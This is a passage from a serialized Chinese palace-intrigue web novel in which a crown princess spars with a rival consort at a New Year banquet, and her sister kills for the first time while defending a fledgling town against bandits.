太后微微一怔,旋即眼中闪过一丝怀念与欣慰,她轻轻点头,声音带着岁月沉淀的温柔。 “你这孩子,倒是心思灵巧。也罢,当年你皇祖父与哀家琴笛相伴,留下无数佳话,今日便借你们一用,就当是祝福你们两个小辈新婚了。” 宫人很快将长相思与连理枝呈了上来。沈安若双手接过长相思,指尖轻轻抚过琴身,然后调琴。 太子也试好了连理枝,夫妻二人对视一眼。 沈安若抬手拨弄琴弦,不同于之前平阳公主所表演的琴音温和悦耳,而是带着磅礴气势,沈安若的神色满是冷冽,甚至隐隐带着杀意。 商玄澈也将连理枝放在嘴边,配合着沈安若的音符。 随着沈安若的手指动作越来越快愈发急促,琴音如万马奔腾,似金戈铁马在战场厮杀,每一声都震颤着在场众人的心弦。 商玄澈的笛声也不甘示弱,高亢嘹亮,与琴音交织在一起,似在诉说着疆场的浴血厮杀。 沈安若朱唇轻启,每一个字都仿佛带着千钧之力,直击人心。 “烽火照北境,战鼓催征急。” “辞家挥长枪,誓要驱漠敌。” “主帅执利剑,将士搏命兮。” 沈安若的手指在琴弦上飞速舞动,仿佛化身为战场上的将军,指挥着千军万马冲锋陷阵。 商玄澈的笛声也愈发激昂,与琴音相互呼应,将战场的惨烈与将士们的英勇无畏展现得淋漓尽致。 “热血洒大漠,寒沙埋忠骨。” “死战三昼夜,杀敌十二万。” “储君守国门,外敌不敢犯。” 殿内众人皆被这磅礴的气势所震撼。 当最后一句词落下,琴音与笛声戛然而止,余音却在殿内久久回荡。 大殿中一片寂静,片刻之后,才爆发出如雷般的掌声。 甚至许多武将已经热泪盈眶,只有上过战场的人才明白,热血洒大漠,寒沙埋忠骨是什么意思。 甚至还有当年与商玄澈一起上了战场的将士,此时忍不住擦拭眼角的眼泪。 沈安若缓缓起身。 “安若祝太后娘娘新年快乐,福星高照永.康安泰,” “祝陛下和皇后娘娘帝后同心,万事如意。” 太后一脸慈爱的笑道。 “的确有哀家和先皇当年的几分风范。” 沈安若微微欠身。 “皇祖母,琴笛合奏是是皇祖母和陛下娘娘助兴,安若刚刚作的词是送给太子妃的。” 然后看着商玄澈开口。 “三年前天元的北境告急,太子率兵支援,遇上了大漠最厉害的鹰师,大漠本就擅长骑射,天元兵力也不够,是太子深夜率领一支骑兵,烧毁了大漠色粮草。” “又亲自冲锋陷阵,与大漠的将士死战三天三夜,这才守住了北境的大门,可太子也因为此战昏迷半月,刚刚的词就当是安若送给太子的新年礼物。” 天元皇脸色不悦,这个沈安若,果然每次都要搞事情,这是有意提醒众人不要忘记太子的功勋。 有武将更是感叹道。 “太子妃这首词实在是令人触动心弦,我们这些守卫疆土的人早就将生死置之度外了,那一站下官也是跟着上了战场的,太子殿下那个时候真的是拿自己的性命守着疆土。” 商玄澈的目光落在沈安若的身上,眼里都是感动,她总是这样护着自己。 德妃笑着开口。 “三年前北境的战事的确都亏了太子殿下,可今天是除夕夜,阖家欢乐,君臣同乐之时,太子妃非要提起过去了三年的战事,却未免有些煞风景了。” 天元皇也缓缓开口。 “德妃言之有理。” 沈安若闻言诧异的开口。 “啊,不能提吗?” “请陛下恕罪。” “安若这也是第一次在天元过年,以往在南诏的时候,南诏都会安排的唱一出战场戏,为的就是让大家铭记为了天下安稳上驰战沙场的将士,毕竟若是没有英勇将士们浴血奋战,守卫疆土,我们也就没有机会享受阖家欢乐。” 作者有话说:我们的若若也是会阴阳人的,宝子们,看到这里给若若一个好评呀 第一百零九章 故人相见 此时镇国公李宗元也起身拱手。 “陛下,太子妃所言也不无道理。今日虽是除夕夜,阖家欢乐之时,但我们也不能忘记那些为了国家安宁、百姓幸福而浴血奋战的将士们,有了他们的负重前行,才有我们在皇城享受团圆欢乐的日子。” 李宗元的话音刚落,大殿中又响起了一阵附和之声。 那些武将们更是眼中含泪,激动不已,他们觉得终于有人能懂他们的付出与牺牲。 天元皇原本准备说什么,可是看着那些武将的反应,只好开口。 “太子妃的确是一个不可多得的才女,来人,赏。” 太监很快端上来一支发钗。 沈安若看了一眼普通的发钗,不动声色的伸手接过。 “多谢陛下。” 看着皇上的脸色。 太后笑着开口打圆场。 “今日这除夕夜,因太子妃与太子的琴笛和鸣、这慷慨激昂的词作,倒是添了几分别样的豪情与意义,既然皇帝都赏了,太子妃………” 太后的目光看向沈安若。 沈安若一脸笑意的福身。 “皇祖母。” 太后一脸慈爱的开口。 “哀家现在年龄大了,这长相思也用不上了,今日看着你与太子琴瑟和鸣,这长相思和连理枝也算是找到了他们的新主人,哀家今日就将这长相思和连理枝赠送给你和太子。” 沈安若与商玄澈相视一眼,立即行礼。 “多谢皇祖母赠送。” “孙儿一定万分珍惜。” “孙媳一定万分珍惜。” 太后看着二人默契的样子,似乎是想起自己当年与先皇恩爱的那些日子,若不是后来……… “太子。” 商玄澈拱手道。 “皇祖母。” 太后缓缓开口。 “你有一个贴心的妻子,你可要护着她。” 商玄澈听了偏头看了一眼沈安若。 “多谢皇祖母教诲,身为男子,理应有担当,自己的娶回来的妻子孙儿一定会护着的,往后不会让安若受半分委屈的。” 高晚意目光看了一眼太子,这太子和太子妃这是配合着打高家的脸吗,捏着酒杯的手紧了紧,更是嫌弃的看了一眼赵钱钱。 赵钱钱满眼委屈的低头,为什么自己怎么做都不对? 皇祖母这么多年一直不曾与哪个孙子亲近,平日里都是住在寿安宫礼佛的,今日居然对太子和太子妃如此和蔼,秦王眼里闪过一抹嫉妒,随即起身拱手。 “皇祖母,今日孙儿有一件喜事要告诉皇祖母和父皇。” 天皇皇见状笑着开口。 “哦?秦王要说什么好消息啊?” 秦王看了一眼身边的女子。 “父皇,这是我府中的侍妾锦儿,已经有孕一月,皇祖母你要当曾祖母了,父皇,你要当皇祖父了。” 德妃听得激动的捏紧了手帕,脸上满是笑意,太好了,秦王比太子先一步有孩子。 众人的目光都落到了秦王的身上,有的人看着他身边带着面纱的女子,有人则看着他身边的顾思娴。 满殿里的人都神色各异,特别是看着顾思娴的目光,许多都带着怜悯和同情。 这正妃还未生下孩子,侍妾就有了庶子了,这不是挑战正妃的权威吗? 德妃高兴的站起来福身。 “皇上,这可是大喜,秦王府有了皇上的第一个孙子。” 沈安若与商玄澈相视一眼,朝自己的位置走去。 天元皇也看秦王一脸的笑意。 “这的确是一桩大喜事。” “ 身为皇家子弟,开枝散叶尤为重要,秦王让朕当上祖父,这也是大功一件。” 秦王闻言笑着继续拱手。 “父皇,锦儿年轻,又是儿臣遇到的民间女子,儿臣平日里想要帮父皇分忧公务,所以照顾锦儿和孩子的事情还要劳烦母妃。” 天元皇听了笑着点了点头。 “你说的有理,这是皇家孙辈的第一个孩子,一定要悉心照料好的。” 随即目光看向德妃。 “既然如此,德妃即日起晋升为贵妃,好好照顾朕的长孙。” 果然这就是晋升位份最好的机会,德妃,不对,是高贵妃了,高贵妃一脸喜意的行礼。 “臣妾多谢皇上。” 这样就晋升为贵妃了,皇上还真是偏爱啊,皇后的手紧紧的掐着自己手心,维持着表面的端庄,可是那紧咬着牙齿的细微动作还是被高贵妃看出来了。 高贵妃脸上带着一抹得意的笑意,看向皇后。 “皇后娘娘,这太子和秦王成亲的时间都差不了多少,看来得让太子努努力了,也好早日让皇后娘娘抱上孙子,当上祖母。” 皇后在听秦王说侍妾有孕的时候就已经面色不悦了,此时高贵妃还恢复了位份,甚至还挑衅自己,脸色更沉了。 “多谢高贵妃的提醒,不过太子与太子妃刚刚成亲,太子妃从南诏来更是一路奔波,这不得修养一段时间 ,才好为太子生下嫡长子。” 秦王听得眼里闪过一抹不悦,皇后现在都会讽刺人了。 “父皇,锦儿为皇家开枝散叶,也是大功一件,儿臣想请父皇封锦儿为秦王侧妃,也好让锦儿安心养胎。” 天元闻言笑着开口。 “你都要当父王的人了,你府中的事就依你的意思吧。” “着,秦王府侍妾锦儿,晋升为秦王侧妃。” 带着面纱的女子这才急忙行礼。 “锦儿多谢陛下。” 天元皇看着她疑惑的开口。 “锦侧妃怎么还带着面纱?” 锦儿恭敬的开口。 “回陛下的话,锦儿有孕以后就食欲不佳,闻到了油腥味就会有反应,今日是除夕宴会,锦儿不想扫了大家的兴,所以特意带了大夫用特殊草药寖过的面纱。” 沈安若神色微变,这声音有点熟悉啊。 不由得打量着这个锦儿。 发现她的身段也很熟悉。 不由得凑近商玄澈。 “玄澈,有没有感觉这个锦儿有点熟悉。” 商玄澈凑近她的耳边低声开口。 “我只对你熟悉。” 又说情话,沈安若看了他一眼,然后抬手招手,王司记低腰下来。 “姨母,有没有一种遇到了熟人的感觉。” 王司记抬眼眸看了看锦儿。 “妾身感觉她有点像沈安锦,可是又觉得不应该,沈安锦不是应该在南诏。” 此时秦王已经扶着锦儿坐下。 锦儿看向沈安若。 “说起来,锦儿与太子妃还是旧相识呢!” 果然是认识的吗!沈安若抬头看向锦儿,脸上带着万年不变的笑意。 “所以是故人吗?” 锦儿抬手摘下面纱,眼里带着一抹挑衅的看着沈安若。 “妹妹,许久未见。” 第一百一十章 妯娌 果然是沈安锦,那上次的谣言也说的通了,难怪在南都的事情会传成那样。 “本宫可担不起锦侧妃一声妹妹。” 沈安锦笑着开口。 “这到了天元,妹妹还是这般在意身份问题吗?到底十多年的姐妹情谊,何必拒人于千里之外?” 高贵妃见状开口道。 “锦儿,你与太子妃认识?” 沈安锦恭敬的开口。 “回贵妃娘娘的话,锦儿全名沈安锦,与太子妃娘娘是姐妹,都是来自南诏沈家,小时候我们姐妹感情很好,做什么都在一起,可是妹妹成为和亲公主以后,我们便生疏了,锦儿一直不明白自己做错了什么,就想着来天元问一个明白,没想到遇到了秦王殿下。” 沈安锦此话一出,大殿里的人看着沈安若神色各异。 这太子妃难不成身份水涨船高以后连自己的姐姐都不认了。 德妃闻言笑着看向沈安若。 “本宫一直都觉得太子妃性子特别,没想到还清冷,攀上高枝以后,连自己的姐姐都不认了。” 商玄澈正要开口说话。 沈安若伸手握住他的手,目光看向高贵妃,果然不愧恢复了位分,说话都有硬气起来了,沈安若似笑非笑的开口。 “贵妃娘娘说笑了,本宫的母亲乃是南诏的惠安公主,还有什么高枝是本宫非攀不可的。” 随即目光看向沈安锦。 “本宫确有一个姐姐,但是她不叫沈安锦,本宫的姐姐与本宫一母同胞,感情好着呢,至于这位锦侧妃,不过是沈家见她可怜,收留过一些日子罢了,后来因为行为不检品行不端,已经被沈家逐出府,此时太子殿下也是知晓的。” 目光缓缓的看向秦王,带着几分嘲讽。 “不得不说本宫还是佩服秦王殿下的勇气的,身份不明的女子都敢接进府。” 沈安若还是这般的牙尖嘴利,沈安锦紧紧的捏住自己的手帕,忍住了,暂时不要跟这个小贱人计较,等到事成以后,有的是这个小贱人哭的。 “妹妹,我不过是…………” 得死绿茶又要开始装了,沈安若带着三分讥笑的开口。 “锦侧妃,本宫再提醒你一句,你应该称呼本宫一声太子妃。” 又拿身份来压自己,好不容易才让秦王对自己言听计从,当上了侧妃,沈安若居然还是能够在自己的面前显摆身份,沈安锦面色委屈。 “殿下……………” 秦王伸手搂住她,以示安抚。 目光看向沈安若。 “太子妃,你在南诏算计了锦儿,锦儿都不跟你计较了,如今锦儿已经是本王的侧妃了,肚子里还怀着皇室的长孙,太子妃如此咄咄逼人,是不是有些肆意妄为了?” 商玄澈端着酒杯缓缓开口。 “秦王这是在指责自己皇嫂吗?” 不敬长嫂,这文武百官还看着呢,秦王眉头一皱,正要说什么。 天元皇却开口道。 “好了,除夕宴会本就是阖家欢乐的日子,怎么一家人还吵吵闹闹的?” 沈安锦闻言急忙开口。 “陛下息怒,是锦儿的不是,锦儿不该惹太子妃生气的。” 随即端起桌子上的茶。 “太子妃,锦儿有孕在身,不便饮酒,就以茶代酒敬你一杯。” “过往我们之间的确有一些小矛盾,可谁还没有一点过去呢,对吧?” 事出反常必有妖,沈安若挑了挑眉头看着她。 沈安锦看了看身边的秦王继续开口。 “我与秦王殿下相知相遇,也是多亏了太子妃,殿下知晓我从前的事情,也知道那都是误会,对我更是贴心照顾,我与太子妃相识十多年,如今,姐妹二人都嫁来了天元,这也算是我们的一种缘分。” “今日我以茶代酒,就当为过去的一些误会赔罪,还望太子妃大人有大量,不要再跟我计较,我们都是来自南都的,以后又是妯娌,太子妃看在秦王的份上,就放下过去的成见,让我们和睦共处,也好不让太子殿下和秦王殿下为难。” 说完端着茶杯的微微弯腰,将茶杯隔空向前递了递。 天元皇缓缓开口道。 “太子妃,既然你们都姓沈,又是在一起生活了十多年的,这都成为天元皇家媳妇了,为人还是大度一些,喝了一杯茶,姐妹二人就当握手言和吧。” 这就是爱屋及乌吗?沈安若无奈的端起茶杯。 “陛下都开口了,臣自然是要应的。” 随即茶杯隔空递了递。 “锦侧妃。” 沈安锦一脸笑意的将茶喝了。 “多谢太子妃宽容大度。” “既然太子妃说已经放下过去的事情了,锦儿在天元也没有什么朋友,我们原本就是姐妹,现在又是妯娌,这有孕了又容易胡思乱想,不知锦儿能不能去找太子妃聊聊天,解解思乡之苦。” 这话一出来,沈安若看着沈安锦眼里闪过一抹光芒,沈安锦啊,都来天元了,还是这么愚蠢。 “秦王与太子乃是亲兄弟,他的孩子本宫与太子自然是关心的,若是锦侧妃想来太子府串门,可以求秦王妃递帖子来太子府,若是本宫刚好有时间,与你和秦王妃一起聊聊天喝喝茶也是可以的。” 沈安锦脸色一白,沈安若,凭什么?凭什么我都是秦王侧妃了你还是看不起我。 妾室是没机会单独与正室夫人们交际的,除非当家主母愿意带着,沈安若这话就是在提醒沈安锦,你见我还得求人家正室。 顾思娴目光看向沈安若,秦王府这桩婚事是自己身不由己,可自己只能低头,也想过过去就是过去了,好好的当好秦王妃。 可是这些日子,秦王一直都在沈安锦那里,也不知道这个沈安锦哪里好,秦王那么迷恋她,甚至让她先有了孩子,如今更是大肆宣扬秦王府有长子了。 所有人都在高兴,都在恭贺,自己这个秦王妃坐在这里就如同透明人一般,只有沈安若,看到了自己。 此时的沈安若端起茶杯朝顾思娴开口。 “秦王妃,你可是皇城有名的才女,我们又是妯娌,往后若是闲暇,咱们可以多来往来往。” 第一百一十一章 新年礼物 顾思娴微微一愣,随后露出深意的微笑,端起茶杯向沈安若示意。 “太子妃谬赞了,才女之名实不敢当。能与太子妃多来往,是思娴的荣幸。” 刚刚自己说与她还是妯娌,她转身就对秦王妃说她们是妯娌,这是当众打自己的脸,一股怒气从心底升腾,沈安锦捏紧了手帕。 秦王注意到沈安锦的神色,以为是她身体不适,关切地问道。 “锦儿,你怎么了?是不是哪里不舒服?” 沈安锦顺势柔弱地靠在秦王身上。 “殿下,锦儿只是有些累了。” 秦王立刻紧张起来。 “本王陪你回府休息。” 随即起身。 “父皇,锦儿有孕易累,儿臣想先带她回去了。” 天元皇微微点头。 “宴会也差不多了,今年除夕宴就到这里吧。” 随着天元皇起身,高贵妃也跟着起身。 大家都开始相互告辞,打道回府。 顾思娴看着秦王扶着沈安锦离开的背影,神情复杂了几分。 沈安若与商玄澈也携手朝外走去。 顾思娴上前。 “太子妃。” 沈安若与商玄澈回头。 “秦王妃。” 顾思娴欠了欠身。 “皇兄,皇嫂。” 沈安若神色微动,换称呼了。 顾思娴目光落在了二人牵着的手上,随即释然一笑。 “皇嫂,锦侧妃是秦王带回来的民间女子,一直住在秦王府的一个院子里闭门不出,秦王府侍妾有许多,秦王说她不需要给我请安,我也就没有在意,没想到今日秦王带她进宫参加宫宴,居然与太子妃故人相认了。” 所以沈安锦这是之前一直隐藏着,忽然出现在了大众眼前,沈安若笑着开口。 “本宫与锦侧妃的确也算得上是旧识了,刚刚秦王说她已经有了身孕一月,这来天元也有一些日子了,居然现在才与本宫相认,她今日坐在秦王的身边,本宫硬是没有认出来。” 秦王妃笑着开口 “可能可能往日的时候锦侧妃低调吧,她院子里的事情都是王爷身边的人在管,身边的两个丫鬟一个做事沉稳,一个神神秘秘的,所以我也是今日才见到她本人。” 随即又欠了欠身。 “夜深露重,就不叨扰皇兄皇嫂了,祝皇兄皇嫂新年快乐。” 沈安若微微点了点头与秦王妃告别。 秦王府马车里。 沈安锦靠在秦王怀里,伸手抚摸着自己并不显怀的肚子。 “殿下,锦儿看得出来,陛下和贵妃娘娘听说锦儿怀孕了很高兴。” 秦王温柔地抚摸着她的发丝,眼中满是宠溺。 “那是自然,你如今怀着本王的孩子,便是皇家的大功臣。待孩子出生,无论是男是女,父皇肯定都会赐下赏赐,毕竟父皇盼望抱孙儿可是盼了许久了。” 盼望许久了吗?那就好,希望越大失望才会越大,沈安锦小鸟依人的靠在秦王怀里。 “殿下,锦儿要的可不是赏赐,锦儿只盼着能一直陪在殿下身边,看着我们的孩子平安长大。” 秦王将她搂得更紧了些。 “傻锦儿,本王又怎会不知你的心意。你放心,在这天元,有本王护着你,无人能欺你半分。” 沈安锦嘴角微微上扬,眼中却闪过一丝不易察觉的得逞。 “殿下,今日在宫宴上,锦儿感觉得到,太子妃还是很讨厌锦儿,她宫于心计,手段厉害,若是她针对锦儿,锦儿和孩子可怎么办?毕竟在南诏的时候,锦儿就差点被她算计死了。” 秦王闻言,眉头微微一蹙,眼中闪过一丝不悦,但很快又恢复了温柔的神色,轻轻拍了拍沈安锦的背,安抚道。 “锦儿莫怕,有本王在,断不会让她再伤害你分毫。不过就是太子妃罢了,她若真敢针对你,本王定不会轻饶。” 沈安锦眼中泛起泪光,楚楚可怜地望着秦王。 “殿下对锦儿真好,只是锦儿怕给殿下惹来麻烦。太子是储君,太子妃身份尊贵,锦儿不想让殿下为难的。” 秦王心疼地将她搂得更紧,语气坚定。 “你啊,总是这么懂事,你且安心养胎,其他的事交由本王处理,你放心吧,储君又如何,太子妃又如何,本王还不至于放在眼里,更何况,父皇现在对你肚子里的孩子还这么看重。” 沈安锦心中暗喜,面上却依旧是一副柔弱模样。 “殿下,锦儿何德何能,能得殿下如此庇护。锦儿定会好好养胎,为殿下生下一个健康的孩子,为陛下与贵妃娘娘生下长孙。” 而在太子府的马车上,沈安若与商玄澈相对而坐。沈安若微微皱眉,若有所思。 商玄澈见她这般模样,轻轻握住她的手,关切地问道。 “若儿,可是在想沈安锦的事情?” 沈安若点了点头。 “嗯,这沈安锦居然出现在了天元,是我太心慈手软了,原本想着她已经名声尽毁,我和姐姐也离开了南诏,没想到她居然也来了天元,而且还成为了秦王的侧妃。” 商玄澈闻言捏了捏她的手。 “你也说了这里是天元,别担忧了,我会护着你的。” 沈安若闻言笑着开口。 “我倒是不至于怕她,只是嫌麻烦。” “剑兰,给本宫亲自盯着她,查一查她来天元以后的事情,另外查一查她身边的人。” 商玄澈缓缓开口。 “南诏到天元山高路远,她一个女子能够来到皇城的确得查一查。” 沈安若微微点头。 “秦王妃刚刚说了,她身边有两个丫鬟,一个沉稳,一个神神秘秘,沉稳的应该是梨花,神神秘秘的得查一查。” “而且女子有孕,正常来说,三月之前都不会轻易暴露出来,可是她今日一改以往的蛰伏,如此高调,应该不只是要跟我炫耀这么简单。” 商玄澈听了搂着她开口。 “别想了,兵来将挡,水来土掩,有我在呢。” “今晚可是除夕。” 此时马车停了下来。 “太子,太子妃,到了。” 商玄澈下了马车,伸手扶沈安若下来,沈安若才发现,根本就没有到太子府,反而是在一座阁楼前停了下来。 “这?” 商玄澈拉起她的手。 “带你看烟花。” 说完搂过她的腰,飞跃上了阁楼的房顶。 阁楼顶上视野开阔,寒风虽凛冽,却吹不散两人相依的暖意。 沈安若依偎在商玄澈怀里,望着空中绽放的烟花。 商玄澈用自己的披风裹着她,将她娇小的身子揽在怀里,脸贴着她的发丝。 今年,自己再也不是一个人守岁了。 “若若。” “谢谢。” 随即手里拿出一个盒子打开。 “新年快乐。” 只见盒子里躺着一对白玉镯子。 沈安若惊喜的看着他。 “你还给我准备了礼物。” 商玄澈将镯子戴在她的手上,一只手一只。 “你体质偏寒,天元比南诏又还要冷上一些,这是暖玉打造出来的玉镯,能帮你驱散一些寒意,希望它能时刻伴着你,就像我一直在你身边一样。” 沈安若轻轻转动着手腕上的玉镯,温润的触感从指尖传来,暖意瞬间蔓延至全身,从与他相识到现在,他的确很贴心,沈安若抬头看着他。 “我很喜欢,谢谢玄澈。” 此时的沈安若整个人都是靠在商玄澈怀里的,商玄澈一只手揽着她的腰,一只手揉了揉她的后脑勺。 “怎么谢?” 又是这句话,沈安若眼角勾起一抹笑意,抬头亲吻了一下他的唇。 商玄澈扶着她的后脑勺,加深了这个吻,呼吸纠缠,唇齿相依。 空中绽放的烟花色彩照应着二人相拥的身影…………… 作者有话说:这是我写过糖最多的文,宝子们,需要五星书评助力码字 第一百十一二章 第一次杀人 月清城。 沈安昕是大家在这里过的除夕。 短短两个月的时间,月清城已经有了一个模型,当然现在的房子只够龙虎寨的兄弟们勉强住着,而且简陋。 因为是过年,沈安锦给大家放了假,而且过年买了好几头猪回来,加上兄弟们打得野味,月清城可以说过年人人都吃上了肉,还是天天吃。 沈安昕带着剑柏四处走着。 “时间有限,暂时只建立出来兄弟们住的,看那边…………” 一边说一边抬手指向远处。 “这里已经在挖地基,等到兄弟们过完年,就会开始动工,我还在幽州寻找好的瓦匠师傅,不过根据若儿给我的图纸,这月清城要建造完整最少需要一到两年。” “过了年,可能还有更多的人来投靠月清城,到时候还得再建造一批简单屋子出来供应大家住。” 剑柏看着月清城,虽然还是带着荒凉,但是已经有了人气,或许这里在大小姐和公主的打造下,真的可以成为一座城。 忽然远处传来闹哄哄的声音,只见无数人朝月清城奔来。 剑柏本就武功高强,看的更远一些。 “大小姐,看着都是天涯山的山匪,这势头,只怕是来者不善!” 看着几波人朝月清城冲来,只怕是这些日子月清城的兄弟们过得太好,引人眼红了,沈安昕立即下令。 “来人,备战。” 刹那间,月清城内呼喊声四起,原本还在享受节日余韵的兄弟们迅速从各个房间或者角落涌出,手持武器,严阵以待。 沈安昕站在站在兄弟们的中间眼神冷峻,因为月清城是建造初期,并没有什么防御的地方 ,看着那越来越近的山匪队伍,心中盘算着应对之策。 山匪们如潮水般涌来,为首的是几个身材魁梧、满脸凶相的男子。 他们挥舞着手中的大刀,口中叫嚷着。 “沈大小姐是吧?” “这天涯山上来都是大家所有,现在你们龙虎寨居然要占据这么大的一片地方,而且还取名叫什么月清城。” “大家都是在这里求生存的人,我们也不是不讲理的,既然你们看中了这块地方,那就将这块地方买下来吧,我们也不要多的,十万万担粮食,一百头猪就行,否则,休怪我们血洗月清城!” 沈安昕冷笑一声,大声回应道。 “你们这些山匪,平日里烧杀抢掠,无恶不作,今日竟敢来犯我月清城,简直是自寻死路!” 站在江千屿身边的大胡子开口道。 “呸,真他妈不要脸,打劫就打劫,你还整这么高尚。” 另外一个兄弟也开口道。 “就是,当初山寨之间可是说好的,所有人井水不犯河水,现在看来你们是要打破这条规则了。” 其他的兄弟也开口附和道。 “就是,一群不要脸的东西,就是看着我们在大小姐的带领下生活变得好起来了,你们嫉妒眼红,还想来打劫我们的东西,今天要是让你们都轻易走了,我还就不姓张。” “就是,大小姐,兄弟们不怕跟这些人拼了,不然还以为我们月清城好惹。” 沈安锦打量着这些围过来的山匪,自己基本上都在幽州,对这些山匪的确不熟悉。 江千屿凑在她的身边开口。 “大小姐,那个拿着大刀的灰色麻布衣服的是天霸寨的二当家,那个浅蓝色衣服的是青龙寨的三当家,另外一个黑色衣服的是青龙寨的二当家。” 来的全是二当家,这大当家都是躲在后面看结果的吗? 沈安昕打量着几人。 “青龙寨,青龙寨,天霸寨,你们倒是来的挺齐全,今日这十万担粮食和一百头猪本小姐若是不给呢?” 青龙寨的二当家冷哼一声,一脸凶相地挥舞着手中的大刀,恶狠狠地道。 “若是不给,那就别怪我们不客气了!今日必要血洗你月清城,让你们知道,这天涯山上,谁才是真正的霸主!” 沈安昕丝毫不惧,她冷笑一声,眼神中透露出坚定的光芒。 “霸主?你们也配称霸主?在这天涯山上,强者为王的道理我懂,但你们错就错在,选错了对手。” 既然听了恼羞成怒,立即下令。 “杀…………” 沈安昕厉声开口。 “动手。” 月清城的兄弟们早就准备好动手的,此时直接朝那些山匪冲了过去。 “冲…………” “杀…………” 剑梅剑锋站在沈安昕的左右,预防别人偷袭。 喊杀声瞬间冲破天际,两拨人马如汹涌的潮水般激烈碰撞在一起。 刀光剑影闪烁,鲜血飞溅,喊叫声、兵器碰撞声交织在一起。 慕容傅并未参与战斗,而是站在不远处看着沈安昕。 沈安昕第一次见如此血腥的场合,忍不住心里一阵反胃,差点就吐了出来,可是这种厂子绝对不能有损形象。 好不容易才忍住呕吐,沈安昕看着有一个山匪飙出来的鲜血,甚至还有断在一旁的手臂,整个人脸色苍白了几分。 江千屿一马当先,不得不说他不愧是龙虎寨的二当家,武艺高强,手中的长刀如蛟龙出海,每一次挥舞都带起一阵劲风,所到之处山匪纷纷倒地。 他一边奋力拼杀,一边还不忘大声呼喊,鼓舞着月清城兄弟们的士气。 “兄弟们,别怕这些山匪,咱们大小姐一个女子都与咱们共进退了,今日一是时候让大小姐看看我们的实力了,定要将这些山匪打得落花流水,以后无人再敢犯我们月清城。” 在江千屿的鼓舞下,月清城的兄弟们越战越勇,他们紧握着手中的武器,每一次挥击都充满了力量与决心,果然还是大小姐新给的武器好使。 这一战不仅是为了保护自己住的地方,更要借这个机会对天涯山的人宣布,月清城绝非任人欺凌的软弱之地。 沈安昕虽然心中恐惧,但她明白自己不能退缩。 她紧咬着牙关,强迫自己直视那血腥的战场,若儿在天元还不知都要面对什么恶毒的手段呢,自己必须尽快强大起来,稳住天山崖,才能给若儿当后盾。 眼见月清城的人越战越勇,而起里面有几个高手,杀人都是招招毙命,两个二当家相视一眼,奋力的朝沈安昕那边冲去。 这个女人是月清城的说话人,拿下了她,其他人肯定不敢造次。 剑梅剑柏急忙应战。 另外的山匪也趁机杀过来,沈安昕紧紧的握住手里的一把匕首,这是沈安若离开的时候交给她的。 虽然月清城的人勇猛,可是别的山寨来的人多啊,一时间胜负难分。 许多人反应过来,都想先抓沈安昕。 剑梅剑柏虽然尽力保护了,但是还是被人钻了空子。 青龙寨的二当家朝沈安一刀砍来,沈安昕奋力躲开。 “剑梅……………” 声音都忍不住颤抖,慕容傅见状终于出手,飞跃过来一脚踹在青龙寨二当家的身上,二当家被踹了摔在地上。 还真是柿子捡软的捏,沈安昕脸色带着苍白,一咬牙,眼里迸发出一股狠意,拿着匕首就冲过去。 用尽所有的力气将匕首扎进二当家的身体里,快速的拔出来,鲜血彪出来,溅了她一脸…………… 作者有话说:咱们的大小姐还是有点魄力的,都敢杀人了 第一百一十三章 杀顺手了 一个手无缚鸡之力的女子居然扎了自己一刀,这简直就是耻辱,清风寨二当家挣扎着一脚踹在沈安昕身上,立即抓起手边的大刀。 “贱人去死……………” 慕容傅再次抬脚,踢在了二当家的手臂上。 剑梅解决身边的山匪,就要冲过去宰了二当家,慕容傅抬手拦住了她。 目光看着沈安昕,她想要成长。 果然,沈安昕趁机再次朝二当家冲过去,匕首朝着二当家胸口的位置,用尽全身力气的扎了下去,然后拔出来又扎了一刀! 杀完以后,整个人跌坐在地上,双手都在忍不住发抖,整个人更是脸色苍白如纸。 自己都站在天涯山这个地方了,杀个人都不敢,以后又怎么立足? 慕容傅见状上前蹲下,伸手握住她颤抖的手。 “第一次杀人?” 沈安昕微微点头,目光仍有些呆滞地望着地上那具逐渐冰冷的尸体,喉间一阵翻涌,终于忍不住一下子吐出来。 慕容傅轻轻拍了拍她的背。 直到沈安昕吐得差不多了,才扶她起来,递了手帕给她。 “执棋的手还能杀人,你已经很厉害了。” 说完,揽住她的腰,带着她飞跃出这片范围,剑梅见状立即跟上去。 慕容傅扶她坐下,沈安昕看着远处的惨烈,又忍不住想吐。 慕容傅缓缓开口。 “第一次看到这样子的场景,有反应很正常,想吐就吐,不用顾忌什么。” 沈安昕真的是又吐了一个昏天黑地。 剑梅上来扶她。 “小姐,我们先撤,去换一身衣服。” 沈安昕费劲的站起来,朝一边走去。 “不用。” “吐的差不多了…………” 可是手都在颤抖,刚刚就想着杀人了,现在回想起来就一阵后怕,自己居然敢杀人了。 慕容傅的声音在一旁响起。 “在这乱世,你不杀人,人便杀你。你若想护住月清城,护住你想护之人,就必须学会狠下心。” “你今日做的很好,第一次杀人就能动手直接拼命。” “先跟你丫鬟去换衣服吧,这里我替你处理好,等你来善后。” “就当是明日你陪我逛街的报仇。” 沈安昕深吸一口气,努力让自己镇定下来。 看着自己身上都是血迹,还有一些刚刚吐出来的污秽之物。 慕容傅说得对,如今月清城初建,四面皆是虎视眈眈之人,若自己软弱可欺,那月清城迟早会被他人吞噬。 她眼神逐渐变得坚定,看向那仍在激烈厮杀的战场,大声喊道。 “兄弟们,杀尽这些来犯之敌,让他们知道,月清城绝不容侵犯!” 看着月清城的人越战越勇,奋力厮杀。 慕容傅也飞跃加入了战场,不得不说,慕容傅不愧是龙虎寨的大当家,所到之处片甲不留。 沈安昕最终还是跟着剑梅去换了衣服。 等到沈安昕再次出现,战事已经结束了,那些山匪死的死伤的伤,剩下的也都抱头蹲在地上。 “我没投降,我们错了,我们不该来月清城找麻烦的。” 江千屿看了看自己手臂上的伤,似乎已经习以为常,撕了一块布将它缠绕住,朝慕容傅打趣着开口。 “还得是大哥你出手,看看看看我们厮杀了半天,大哥一出手这些人都投降了,杀人就像砍白菜似的。” 看着已经走过来的沈安昕,虽然脸色还在苍白,但是整个人似乎已经镇定了下来。 慕容傅开口道。 “还不去给沈大小姐搬一张椅子过来,再准备一些茶水?” 很快兄弟们搬来了椅子,准备好了茶水。 沈安昕坐在椅子上,剑梅剑柏站在她的身后,气场全开。 看着蹲在地上黑压压的一片山匪,沈安昕慢悠悠的喝了一杯茶。 “自从我们月清城开始建立,与你们并未有过什么过节,你们前来寻滋挑事,无非就是嫉妒月清城的兄弟们过得好,想分一杯羹。” 胜者为王,败者为寇,蹲在地上的山匪一时之间,脸色难堪,无地自容。 